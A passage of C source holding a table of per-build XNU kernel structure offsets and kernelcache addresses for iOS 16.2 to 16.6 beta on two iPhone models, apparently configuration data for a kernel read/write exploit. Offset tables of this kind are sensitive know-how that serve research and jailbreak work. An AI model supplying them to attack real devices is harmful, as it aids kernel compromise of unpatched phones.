.fileglob__fg_ops = 0x28,\n         .fileglob__fg_data = 0x40 - 0x8,\n         .fileops__fo_kqfilter = 0x30,\n         // .fileproc__fp_iocount = 0x0000,\n         // .fileproc__fp_vflags = 0x0004,\n         // .fileproc__fp_flags = 0x0008,\n         // .fileproc__fp_guard_attrs = 0x000a,\n         // .fileproc__fp_glob = 0x0010,\n         // .fileproc__fp_guard = 0x0018,\n         // .fileproc__object_size = 0x0020,\n         .fileproc_guard__fpg_guard = 0x8,\n         .kqworkloop__kqwl_state = 0x10,\n         .kqworkloop__kqwl_p = 0x18,\n         .kqworkloop__kqwl_owner = 0xd0,\n         .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n         .kqworkloop__object_size = 0x108,\n         .pmap__tte = 0x0,\n         .pmap__ttep = 0x8,\n         .proc__p_list__le_next = 0x0,\n         .proc__p_list__le_prev = 0x8,\n         .proc__p_pid = 0x60,\n         .proc__p_fd__fd_ofiles = 0xf8,\n         .proc__object_size = 0x730,\n         .pseminfo__psem_usecount = 0x04,\n         .pseminfo__psem_uid = 0x0c,\n         .pseminfo__psem_gid = 0x10,\n         .pseminfo__psem_name = 0x14,\n         .pseminfo__psem_semobject = 0x38,\n         // .psemnode__pinfo = 0x0000,\n         // .psemnode__padding = 0x0008,\n         // .psemnode__object_size = 0x0010,\n         .semaphore__owner = 0x28,\n         .specinfo__si_rdev = 0x18,\n         .task__map = 0x28,\n         .task__threads__next = 0x80 - 0x28,\n         .task__threads__prev = 0x80 - 0x28 + 0x8,\n         .task__itk_space = 0x300,\n         .task__object_size = 0x640,\n         .thread__task_threads__next = 0x380 - 0x18,\n         .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n         .thread__map = 0x380,\n         .thread__thread_id = 0x418,\n         .thread__object_size = 0x4c0,\n         .uthread__object_size = 0x200,\n         .vm_map_entry__links__prev = 0x00,\n         .vm_map_entry__links__next = 0x08,\n         .vm_map_entry__links__start = 0x10,\n         .vm_map_entry__links__end = 0x18,\n         .vm_map_entry__store__entry__rbe_left = 0x20,\n         .vm_map_entry__store__entry__rbe_right = 0x28,\n         .vm_map_entry__store__entry__rbe_parent = 0x30,\n         .vnode__v_un__vu_specinfo = 0x78,\n         ._vm_map__hdr__links__prev = 0x00 + 0x10,\n         ._vm_map__hdr__links__next = 0x08 + 0x10,\n         ._vm_map__hdr__links__start = 0x10 + 0x10,\n         ._vm_map__hdr__links__end = 0x18 + 0x10,\n         ._vm_map__hdr__nentries = 0x30,\n         ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n         ._vm_map__pmap = 0x40,\n         ._vm_map__hint = 0x90 + 0x08,\n         ._vm_map__hole_hint = 0x90 + 0x10,\n         ._vm_map__holes_list = 0x90 + 0x18,\n         ._vm_map__object_size = 0xc0,\n         .kernelcache__kernel_base = 0xfffffff007004000,\n         .kernelcache__cdevsw = 0xfffffff00a441208,\n         .kernelcache__gPhysBase = 0xfffffff007933fc0,\n         .kernelcache__gPhysSize = 0xfffffff007933fc0 + 0x8,\n         .kernelcache__gVirtBase = 0xfffffff007932198,\n         .kernelcache__perfmon_devices = 0xfffffff00a47f520,\n         .kernelcache__perfmon_dev_open = 0xfffffff007eed210,\n         .kernelcache__ptov_table = 0xfffffff0078e7180,\n         .kernelcache__vm_first_phys_ppnum = 0xfffffff00a47e990,\n         .kernelcache__vm_pages = 0xfffffff0078e3ec0,\n         .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6130,\n         .kernelcache__vm_page_array_ending_addr = 0xfffffff00a47e988,\n         .kernelcache__vn_kqfilter = 0xfffffff007f39ae0,\n     },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone14,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a441208,\n        .kernelcache__gPhysBase = 0xfffffff007933fc0,\n        .kernelcache__gPhysSize = 0xfffffff007933fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007932198,\n        .kernelcache__perfmon_devices = 0xfffffff00a47f520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eed210,\n        .kernelcache__ptov_table = 0xfffffff0078e7180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a47e990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a47e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f39ae0,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone14,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a44d208,\n        .kernelcache__gPhysBase = 0xfffffff007938100,\n        .kernelcache__gPhysSize = 0xfffffff007938100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079362d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a48b520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef1480,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a48a990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a48a988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3dfe8,\n    },\n\n        // iOS 16.6 beta 1 //\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone14,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4fda30,\n        .kernelcache__gPhysBase = 0xfffffff00794c2a8,\n        .kernelcache__gPhysSize = 0xfffffff00794c2a8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794a460,\n        .kernelcache__perfmon_devices = 0xfffffff00a53d550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f15b9c,\n        .kernelcache__ptov_table = 0xfffffff0078ff9c0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a53c910,\n        .kernelcache__vm_pages = 0xfffffff0078fc110,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe970,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a53c908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f620b8,\n    },\n // End iPhone 14 Plus //\n // Start iPhone 13 Pro //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone14,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a379190,\n        .kernelcache__gPhysBase = 0xfffffff0078580c8,\n        .kernelcache__gPhysSize = 0xfffffff0078580c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078562a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3b43b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8fa8,\n        .kernelcache__ptov_table = 0xfffffff00780b370,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3b3800,\n        .kernelcache__vm_pages = 0xfffffff007808098,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a330,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3b37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f28fd0,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone14,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone14,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone14,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 